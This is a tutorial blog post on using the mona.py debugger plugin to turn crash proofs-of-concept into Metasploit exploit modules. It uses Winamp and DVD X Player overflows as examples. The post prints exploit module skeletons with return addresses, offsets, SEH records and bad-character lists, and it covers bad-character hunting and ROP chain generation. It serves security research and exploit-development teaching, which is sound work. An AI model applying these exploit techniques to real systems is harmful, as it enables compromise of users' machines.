Last updated at Thu, 21 Dec 2023 21:00:18 GMT

Introduction

Standalone exploits suck”.

egyp7 and bannedit made this statement earlier this year at Bsides Vegas, and nullthreat & yours truly elaborated on this even more during our talk at Derbycon 2011.

There are many reasons why writing Metasploit exploit modules and submitting them to the Metasploit framework is a good idea. You're not only going to help the community / professionals, but it will force you to think about various aspects of writing exploits and that should result in a better exploit.  It might even make you a better exploit writer. When Corelan Team originally designed mona.py, which is a PyCommand for Immunity Debugger, we kept this in mind and wanted to provide a tool that does not only produce smart and reliable results in a fast way, but it would also generate output that would be Metasploit friendly.

Getting mona.py operational is as easy as:

  • Install Immunity Debugger 1.8x
  • Geta copy of mona.py (use the ‘trunk' version) from http://redmine.corelan.be and save the file in the PyCommands folder (inside the Immunity Debugger program folder)
  • Open Immunity debugger and run !mona (the command bar is located at the bottom of the debugger). Open the log view (ALT L) and verify that you can see the mona‘help' output in the screen.
  • Run !mona update to make sure you are running the most current version.

Before using mona.py, we'll make sure all output is written and grouped into a subfolder that reflects the process name of the application that we are debugging.  This will allow us to work on multiple exploits at the same time, without having to worry about overwriting previously generated output for another application. The command to do this is:

!mona config -set workingfolder c:\logs\%p

(%p will be replaced with the process name.  You can also use %i which will be replaced with the process ID)

In this post, I will introduce a number of commands and options available in mona.py, with a focus on writing exploits in and for Metasploit. After all, there is no real reason to develop exploits in a scripting language such as python.  Writing an exploit from scratch, using Metasploit, may look a bit difficult if you are not familiar with it, but as you will learn in just a few moments, the number of lines that you will have to write yourself will most likely very limited. Most part of the Metasploit exploit module file can be either re-used from an already existing module or you can use mona.py to create an empty skeleton file.  Finally, in terms of syntax: if you can learn python, you can learn ruby as well.

From poc file to Metasploit module

In a typical exploit, we usually start by triggering some kind of overflow or crash one way or another. If you have discovered the vulnerability yourself, you already should have the code to reproduce the issue so you can simply implement or port that code over to Metasploit. If you are porting an existing standalone exploit or a proof-of-concept to Metasploit, the only thing you may have at your disposal is a file that triggers a crash, or some lines of code/hex that will do the same thing. Being able to reproduce the same thing in a Metasploit module is probably the first thing that you should do.

We'll use an existing PoC to demonstrate how mona.py can assist with this. Grab a copy of the zip file from http://www.exploit-db.com/exploits/15248/. The zip file contains a couple of files. We will base our example on the poc that demonstrates an integer overflow in in_mkv, hence we'll use the mkv file inside the zip archive. Extract this file and place it under c:\poc

Opening the winamp_1a_1.mkv file in the affected version of Winamp triggers a crash.

Instead of trying to recreate or reproduce this file in a python script, we'll use mona.py to turn this poc file into a Metasploit module right away. To do this, we will tell mona.py to read this mkv file and convert it into ruby statements that will allow you to recreate the file. Open Immunity Debugger (no need to attach it to something) and run the following command:

!mona header –f "c:\poc\winamp_1a_1.mkv"

This command will read all bytes from the file and will create some ruby statements. In this case, the output is written to header.txt under c:\logs_no_name (this folder name is used whenever Immunity Debugger is not attached to aprocess).  The output looks like this:

header = "\x1a"
header << "E"
header << "\xdf\xa3\x09"
header << "\xff" * 4
header << "B"
header << "\x82\x08"
header << "\xff" * 4
header << "a" * 16344**

Take a look at the last line.  16344 a's… this might be an indication of what part of the file is responsible for triggering the crash. Before we'll actually try it out & confirm that this is indeed our trigger, we'll merge the few lines of ruby code into a Metasploit module. Mona.py offers an easy way to create a skeleton Metasploit module.  In Immunity Debugger, run

!mona skeleton

Mona.py will ask you 2 simple questions:

  1. Select msf exploit skeleton: select ‘fileformat'
  2. File extension: mkv

The output gets saved as msfskeleton.rb under c:\logs_no_name.  Copy this file into your Metasploit framework installation. We are building an exploit for a Windows application. We will be generating an mkv file so we'll place this module inside the ‘windows/fileformat' folder:

modules/exploits/windows/fileformat/winamp_mkv.rb

Edit the file.

Look for the “def exploit” section, and you should see something like this:

def exploit  
      buffer =Rex::Text.pattern_create(5000)  
      file_create(buffer)  
end

If you are familiar with writing Metasploit modules, you'll know this is the function that gets called when you issue the ‘exploit' command in msfconsole. Mona.py has generated a file that will produce a file that contains a 5000 byte cyclic pattern. We'll take advantage of this sample code and merge our “header” into this module. Change thismodule so it would look like this:

def exploit

header = "\x1a"  
header << "E"  
header << "\xdf\xa3\x09"  
header << "\xff" * 4  
header << "B"  
header << "\x82\x08"  
header << "\xff" * 4  
trigger = Rex::Text.pattern_create(16344)  
buffer = header trigger</span>**

file_create(buffer)

end

Basically we inserted the header and replaced the last line from the header with a 16344 byte cyclic pattern. Save the file and load it in msfconsole. Set an arbitrary payload (doesn't matter which one, because we're not using it yet) and then run ‘exploit'

msf > use exploit/windows/fileformat/winamp_mkv
msf  exploit(winamp_mkv) > set PAYLOAD windows/exec
payload => windows/exec
msf  exploit(winamp_mkv) > set CMD calc
cmd => calc
msf  exploit(winamp_mkv) > exploit

Find the generated file (/.msf4/data/exploits/msf.mkv) and transfer it to your windows box.

Launch winamp, attach Immunity Debugger to it, and then open the newly created file.  This should trigger a crash. You can now continue to write your exploit using the Metasploit module.

From poc script to Metaploit exploit

A second way to go from a poc (standalone python script) to an Metasploit module is by using a cyclic pattern in the original exploit script and then “suggest” a Metasploit module at crash time.  This technique will only produce something of value if you control EIP or SEH using the cyclic pattern.  Even then it may not be perfect, but it should at least give you a rough idea of what your exploit structure will look like and it will produce an entire Metasploit module file that you can use from that point forward.

The example that we'll use to demonstrate this feature is based on a vulnerability in DVD X Player v5.5.  Grab a copy of the vulnerable version of this application here. The python code to trigger the overflow looks like this:

import os
filename = "poc.plf"
buffer = "A" * 2500
file = open(filename, "w")
file.write(buffer)
file.close()**

In order to be able to use the available mona features, we need to modify this script and replace the 2500 A's with a cyclic pattern.

You can create a cyclic pattern using the pattern_create tool available in Metasploit (tools folder), or you can create one using mona:

!mona pc 2500

(Copy the pattern from pattern.txt and replace "A" * 2500 in the script with the pattern)

Run the python script to create the plf file.  Open DVDXPlayer and attach Immunity Debugger to it.

Load the plf file and you should get a crash that looks pretty much like this:

Access violation when executing [37694136]

Now run

!mona suggest –cpb '\x00\x0a\x0d'

This will first run !mona findmsp (which is also available as a separate command in mona.py)

The findmsp command will

  • look for the first 8 bytes of the cyclic pattern anywhere in process memory (normal or unicode expanded)
  • look at all registers and list the registers that either point at or are overwritten with a part of the pattern.  It will show the offset and the length of the pattern in memory after that offset in case the registers points into the pattern
  • look for pointers into a part of the pattern on the stack ( shows offset and length)
  • look for artifacts of the pattern on the stack ( shows offset and length)
  • query the SEH chain and determine if it was overwritten with a cyclic pattern or not

Next, 'suggest' will attempt to

  • generate a Metasploit module that lays out the structure of the exploit
  • find the necessary pointers, avoiding pointers that contain \x00, \x0a and \x0d (because those were the 'bad characters' we provided at the command line using parameter -cpb).
  • request you to select a msf skeleton.  Choose“fileformat
  • request you to enter the desired file extension. Choose plf
  • request you to enter the ID on exploit-db (if applicable. Leave empty if you are notporting an existing exploit to Metasploit)

The result will be written to c:\logs\dvdxplayer.

In this case, you will see 2 files:  exploit.rb and exploit_seh.rb. The buffer overflow triggered by the poc has overwritten a saved return pointer and it has also overwritten an exception handler. mona.py was able to detect this and created 2 files. The ‘exploit' function in exploit.rb looks like this:

def exploit  
     buffer =  rand_text(target['Offset'])   
     buffer << [target.ret].pack('V')  
     buffer << rand_text(16)     #junk  
     buffer << make_nops(30)  
     buffer << payload.encoded   #max 2190 bytes   file_create(buffer)  
end

The Targets section contains this:

'Targets'        =>  
     [  
          [ '<fill in the OS/appversion here>',  
           {  
               'Ret'       =>    0x6033cdab,  
               'Offset'    =>    260  
           }  
     ], # push esp #  ret  - Configuration.dll

Finally, the module already contains the bad chars that we specified at the command line:

'BadChars'=> "\x00\x0a\x0d",**

The ‘exploit' function in exploit_seh.rb looks like this:

def exploit

     buffer = rand_text(target['Offset'])   #junk  
     buffer << generate_seh_record(target.ret)  
     buffer << make_nops(30)  
     buffer << payload.encoded   #1858 bytes of space  
     file_create(buffer)

end

The targets section contains a pointer to pop pop ret and the offset to overwriting the SEH record:

[ '<fill in the OS/app version here>',  
              {  
                  'Ret'       =>    0x60324371,  
                  'Offset'    =>    608  
              }  
], # pop eax # pop esi # ret  -Configuration.dll

Using a single command, based on a simple python proof-of-concept script which contains a cyclic pattern to trigger a crash, we have been able to create 2 Metasploit modules. In some cases, these modules may even work out of the box, but it's important to remember that it might not work and you will need to test, fix, find bad characters, etc etc.

As you could see, both modules contain a pointer and an offset in the Targets section.  Offsets were derived using locations in the cyclic pattern.

In order to find those pointers (push esp ret in exploit.rb and pop/pop/ret in exploit_seh.rb), mona.py used 2 other mona.py functions:

Find “jmp esp”:

!mona jmp -r esp –cpb '\x00\x0a\x0d</span>' -cm os=false

If no pointers were found, 'mona suggest' will perform a second search, this time including OS modules. In all cases, rebased and/or aslr enabled modules are skipped from the search. In order to find the pointer for the SEH exploit, mona ran

!mona seh -cpb '\x00\x0a\x0d'

Again, aslr and rebased modules are skipped, as well as safeseh protected modules.

In order to complete this module, we'll need to

  • determine the exact list of bad characters. We guessed a few (based on the fileformat), but you really have to be double-check & figure out the exactlist.
  • test the exploit for reliability (multiple systems, multiple payloads, etc). Make sure to list the systems you tested the exploit on in the Targets section.
  • finish the other parts of the module and make sure the module meets the Metasploit coding style guidelines
  • submit the module to Metasploit (open a ticket on redmine and upload the module) so we can all enjoy your hard work.

Bad characters

Finding the exact list of bad characters is fundamentally important to guarantee the reliability of any exploit.

There are various ways to find bad characters. Sometimes you can automate this, in other cases it will take a bit of work.

Mona.py has couple of commands that will help you finding those evil bytes so you can exclude them from your payload.

The approach mona.py takes is:

  • create an array that contains all bytes (\x00  ->  \xff)
  • insert the array into your payload, and also write the array to a file (binary)
  • trigger the crash with the file/packet that contains your byte array
  • compare the array in memory (or what is left of it) with the original array (which was written to the binary file)
  • find the first byte that doesn't match and add that byte to the "bad char" list.
  • Re-create the bytearray (without the “bad bytes” found so far) and repeat the process until there are no more bad characters

Creating a bytearray can be done using !mona bytearray. You can use option -b to specify the bytes that you want to exclude. Let's say we want to create an array with all bytes, excluding \x00,\x0a and \x0d:

!mona bytearray -b '\x00\x0a\x0d'

Mona.py will create 2 files:

  • bytearray.txt (which contains the plaintext array, so you can copy & paste it into your exploit module),
  • bytearray.bin (which consists of the bytes in the array)

Output of bytearray.txt:

"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

The placement of this array in the exploit structure is important.  We still need to be able to reliably trigger the overflow/crash.

In case of a saved return pointer overwrite, I recommend putting this array in the payload after overwriting the return pointer.

If any of the bytes truncates the array, we will still be able to trigger the overflow in a consistent way during our search for bad characters.

Example (based on the exploit.rb file created a few moments ago):

**bytearray = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
bytearray << "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bytearray << "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
bytearray << "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bytearray << "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
bytearray << "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bytearray << "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
bytearray << "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bytearray << "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
bytearray << "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bytearray << "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
bytearray << "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bytearray << "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
bytearray << "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bytearray << "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
bytearray << "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

buffer =  "A" * target['Offset']

buffer << [target.ret].pack('V')  

buffer << "A" * 16      #junk

buffer << make_nops(30)

buffer << bytearray

file_create(buffer)

As you can see, I replaced the rand_text() with just A's. rand_text may produce bad chars and break the exploit.  It uses the BadChars array in the Metasploit module, so as long as that doesn't contain the right values, it might cause the module to fail. Attach the debugger to the application and set a breakpoint on the pointer that you will use to overwrite the return pointer with. In this case, this pointer is 0x6033cdab. Load the file in the application and verify that the breakpoint was hit. Now let mona.py do the comparison:

!mona compare -f c:\logs\dvdxplayer\bytearray.bin

Mona.py will read the first 8 bytes from the file bytearray.bin and attempt to locate those bytes in process memory. Whenever it finds those 8 bytes, it will compare all original bytes with the bytes found in memory and log the differences into compare.txt.

It's not that uncommon to see multiple copies of those first 8 bytes in memory. In order to draw accurate conclusions, we need to find the array we need.  In this case, our bytearray is on the stack,so we only have to find the entry in compare.txt that points to the location on the stack where our bytearray is stored. In my example, the stack (at crash time) is at 0x0012….

After running this technique using \x00, \x0a and \x0d as bad chars, and after locating the correct instance of the byte array on the stack, this is what the output will look like:

----------------------- -----------------------

| FILE                  | MEMORY                |

----------------------- -----------------------

|01|02|03|04|05|06|07|08|01|02|03|04|05|06|07|08|

|09|0b|0c|0e|0f|10|11|12|09|0b|0c|0e|0f|10|11|12|

|13|14|15|16|17|18|19|1a|13|14|15|16|17|18|19|--|

|1b|1c|1d|1e|1f|20|21|22|--|--|--|--|--|--|--|--|

|23|24|25|26|27|28|29|2a|--|--|--|--|--|--|--|--|

As you can see, \x1a also seems to break the payload. Let's create a new bytearray excluding that byte as well:

!mona bytearray -b '\x00\x0a\x0d\x1a'

Copy the new output from bytearray.txt and replace the array in the Metasploit module (or just remove that particular byte in your module).

Mona bytearray will update bytearray.bin as well, so it's important to run this command even if you just removed that byte from the Metasploit module.

Recreate the plf file and try again. (Don't forget to set the breakpoint !).

compare.txt now says

---------------------------------------------------------------------------

Reading memory at location 0x0012f48e*

     -> Hooray, normal shellcode unmodified

There we go. We have found all bad characters, so we can now remove the bytearray again from the Metasploit module, put the rand_text() calls back and update the BadChars array. This way,we are sure whatever payload gets used, it won't contain any bad chars. This is just a short introduction on what mona.py can do to make your exploit development life easier and to help you create & write reliable exploits for the Metasploit framework.

What else ?

One of the other features in mona.py is the ability to create ROP chains.

Using a single command (!mona rop), mona.py will

  • build a rop gadgets flat file rop.txt
  • categorize interesting gadgets into rop_suggestions.txt
  • get all stackpivots (rop_stackpivots.txt)
  • query IAT and look for pointers to interesting functions and/or find offsets from IAT entries to interesting functions
  • build ROP chains

Mona.py will attempt to automatically create a rop chain for

  • NtSetInformationProcess()
  • setProcessDEPPolicy()
  • VirtualProtect()
  • VirtualAlloc()

The output (rop_chains.txt) contains ruby code that can be copied & pasted into a Metasploit module with little or no changes.

Conclusion

mona.py offers a few tools that will help you integrating or writing exploits into the Metasploit framework. If it produces script output, it will be ruby. It can generate an empty Metasploit module or it can even populate various parts of the module if you were using a cyclic pattern to trigger the crash.